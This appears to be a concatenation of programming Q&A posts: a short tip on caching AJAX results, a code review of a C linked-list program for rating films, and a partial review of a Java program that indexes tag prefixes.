You're making unnecessary AJAX calls. On focus, you're calling AJAX. In the real world, waiting for AJAX is a more painful experience than memory consumption. With proper practice, the GC can and will reclaim memory but you can't reclaim the time you waited for AJAX.

I suggest you do the following instead:

You can limit the returned results to a reasonable length. That way, even if you hit the server with AJAX for each keypress, the return won't take that long.
Cache your results. Have some internal logic which caches returned data into an array (add when non-existent, update if existing). The problem here isn't the size of your cached data. It's the way you're discarding data and retrieving them back again.


Linked list for array of movies I am attempting to create a Linked List where someone can enter in some movie titles and their rating for it. Here is what I have thus far:
#include <stdio.h>
#include <stdbool.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>

#define TITLE_MAX 50
void mygets(char buffer[], size_t limit);

// linked list
struct film {
    char title[TITLE_MAX];
    int rating;
    struct film *next;
};

int main(void)
{
    struct film *head = NULL, *current = NULL;
    char tbuffer[TITLE_MAX];

    while (true)
    {
        printf("Enter the name of the film (empty line to stop)\n");
        mygets(tbuffer, TITLE_MAX);
        if (*tbuffer=='\0') break;

        if (!head)
            current = head = malloc (sizeof(struct film));
        else
            // assignment associates right-to-left so can do this trick
            current = current->next = malloc (sizeof(struct film));

        current->next = NULL;
        strcpy(current->title, tbuffer);
        printf("Now enter in your rating for it: ");
        scanf("%d", &(current->rating));
        for (int c; (c=getchar()) != '\n' && c != EOF; ); // clean up garbage in scanf -- should probably write a function for this
    }

    // print the Linked List
    current = head;
    for (int i=1; current != NULL; current=current->next)
        printf("Linked List Item #%d: %s (Rating: %d)\n",
                i++, current->title, current->rating
        );

    for(struct film *current=head, *next; current != NULL; current=next) {
        next = current->next;
        free(current);
    }

}

void mygets(char buffer[], size_t limit)
{
    // first non-space char until newline or EOF,
    // eating any extra chars in buffer
    // will add \0 at the end, so will get up to N-1 chars

    int c, idx=0;
    bool started=false;
    while ((c=getchar()) != EOF && c != '\n')
    {
        if (!started && isspace(c));
        if (idx < limit-1)
            buffer[idx++] = c;
    }
    buffer[idx] = '\0';

}

How does it look so far? What can be improved? Additionally, in real-world implementations of a linked list, what sort of additional metadata is stored -- for example, things like List Size and such.
Also, how does the free look in there. For a linked list does it matter which direction I free the data?

Bugs

A quick bug: if (!started && isspace(c)); has no effect.  Did you want continue; or something there?  As it is, you will store leading spaces in the buffer after all, which apparently is not what you want.
gcc -Wextra gives a warning, btw.
(Did you test the program on input lines with leading spaces?  I don't think it could ever have worked.)
And you currently have no way for started to ever become true...

Code quality improvements

mygets is not a great choice for your function name. A reader will incorrectly guess that it behaves like the standard fgets (or worse, the formerly standard gets), but it differs in that it (is supposed to) strip leading spaces.  I'd choose something more like get_film_title.  You could try to explain in the function name that it strips spaces but that may make it awkwardly long.

I'd split the three tasks of populating the list, printing it out, and freeing it, into three separate functions, instead of dumping them all in main.

The while (true) idiom with a break; makes the reader have to hunt through the loop body for the termination condition.  See if you can think of a clean way to restructure to avoid this.  If not, at least add a comment to explain when the loop will terminate.

See if you can restructure the if (!head) to avoid writing out the malloc call twice, which is a danger point if you eventually want to change it but miss updating both instances.

Some would suggest malloc(sizeof *current) instead of sizeof(struct film).  I don't have strong feelings either way, myself.

Any time you need a comment to explain a "trick", where the comment is longer than the extra code it avoids having to type, you are probably trying to be too clever. (And I found it confusing even with the comment.) Just write out the two statements.

Consider moving the task of reading the rating and "cleaning up the input stream" into its own function.  It's awkward when some of the I/O work is farmed out to a subroutine (mygets) and some is left behind.

for (int c; ...): A for loop that doesn't need to do anything in either of the init-clause or the iteration-expression should probably just be a while.

In the printing code, it's nice to keep the for focused on the actual loop iterator, which here is current, rather than mixing it between current and i (and since the latter is not the iterator, it could use a different name).  And there's no need to bury the increment of i inside a statement that does something else.   I would write:

int film_number = 1;
for (current = head; current != NULL; current = current->next) {
    printf("...", film_number, current->title, current->rating);
    film_number++;
}

In the freeing code, why do you declare a new variable named current, shadowing the existing one?

The for loop and use of the variable next in the freeing code is maybe more clever than readable.  I would write more simply:

current = head;
while (current) {
    struct film *tmp = current;
    current = current->next;
    free(tmp);
}

I think your plan of freeing the list from beginning to end is fine.  With a single-linked list, it's not so easy to do it the other way.  (Unless you want to build a double-linked list instead.

Error checking on every input and memory allocation function.  Yes, it's boring, but essential for any real program, and even for toy programs it is very helpful for debugging.

Suggested enhancements

As to additional metadata: store only what you have a use for.  If  knowing the size or the last element becomes useful for your application, add it then.  But I don't suggest overdesigning a fully general and heavily featureful linked list for a specific program; if you want to reinvent a generic linked list container, that's a separate project (and one that might be better for a language that actually supports generic programming).

Using scanf to read user input is not ideal outside toy programs, as it makes it hard to detect and recover from improper input.  A better design is usually to read an entire input line and parse it out with sscanf.

Consider using dynamic allocation so as to allow the film titles to be of arbitrary length.  Otherwise the user who wants to rate The Englishman Who Went Up a Hill But Came Down a Mountain (57) is going to be peeved.

Command line programs that prompt for interactive input, and terminate on something like an empty line, are rare outside of toy examples.  For one thing, they are hard to adapt for batch processing or pipelines.  Useful command-line programs more often don't prompt, and read input until end-of-file is encountered.


CyclicBarrier and Thread for optimize for element for tags in Java How can I use a CyclicBarrier with N-THREAD according to my core for optimize this code?

My code has an input like this:

i 3
a duna automobile deserto -1
a nissan auto automobile -1
s aut -1

i 2
a pesca sport frutta -1
s sport -1

END

i = 3 means that there are 3 lines.
"a" means that I'm adding an element (first occurrence after "a") and the other words after the element are my "tags".
"s" means that I have to find the tags that have as substring the word "aut" for the first block and "sport" for the second block.

At the end the output is like this:

2

1

"2" means that I have two elements "duna" & "nissan" that have tags (auto, automobile, auto) that start with the word "aut".
"1" means that I have the element "pesca" that has tag (sport) that starts with the sub-tag "sport".

With END, the program is finished.

package Prove;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

class FinalMap {

    public static void main(String args[]) throws IOException {

        HashMap<String, Set<String>> map = new HashMap<String, Set<String>>();
        java.io.InputStreamReader isr = new java.io.InputStreamReader(System.in);
        java.io.BufferedReader stdin = new java.io.BufferedReader(isr, 16 * 1024);

        String line = stdin.readLine();
        final String ADD_COMMAND = "a";
        final String ITEM_COMMAND = "i";
        final String SEARCH_COMMAND = "s";
        final String END_MARKER = "<END>";

        while (!line.equals("<END>")) {

            String elemento = "" ;

            if (line.startsWith(ITEM_COMMAND))
            {
                map = new HashMap<String, Set<String>>();
            }

            else if (line.startsWith(ADD_COMMAND)) {

                String[] parts = line.split("\\s+");

                for (int i = 2; i < parts.length - 1; ++i) {
                    String element = parts[1];
                    String tag = parts[i];
                    for (int j = 1; j <= parts[i].length(); ++j) {
                        String tagPrefix = tag.substring(0, j);
                        Set<String> elements = map.get(tagPrefix);
                        if (elements == null) {
                            elements = new HashSet<String>();
                            map.put(tagPrefix, elements);
                        }
                        elements.add(element);
                    }
                }

            }

            else if (line.startsWith(SEARCH_COMMAND)) {
                String subtag = line.substring(2,line.length()-3);
                if (map.containsKey(subtag)) {
                    System.out.println(map.get(subtag).size());
                } else {
                    System.out.println("missing");
                }
            }
           line = stdin.readLine();
        }
        stdin.close();
    }
}

String elemento = "" ;

This variable is unused.

Additionally I'd clean up the blank lines you have, it's dangerous to have an if statement end, and then a couple blank lines later, there's an else that continues the if.

            for (int i = 2; i < parts.length - 1; ++i) {
                String element = parts[1];
                String tag = parts[i];
                for (int j = 1; j <= parts[i].length(); ++j) {
                    String tagPrefix = tag.substring(0, j);
                    Set<String> elements = map.get(tagPrefix);
                    if (elements == null) {
                        elements = new HashSet<String>();
                        map.put(tagPrefix, elements);
                    }
                    elements.add(element);
                }
            }

There's a performance optimization here; parts[i].length() is not free. Use final int tagLength = parts[i].length(), then test against that in your for-loop condition.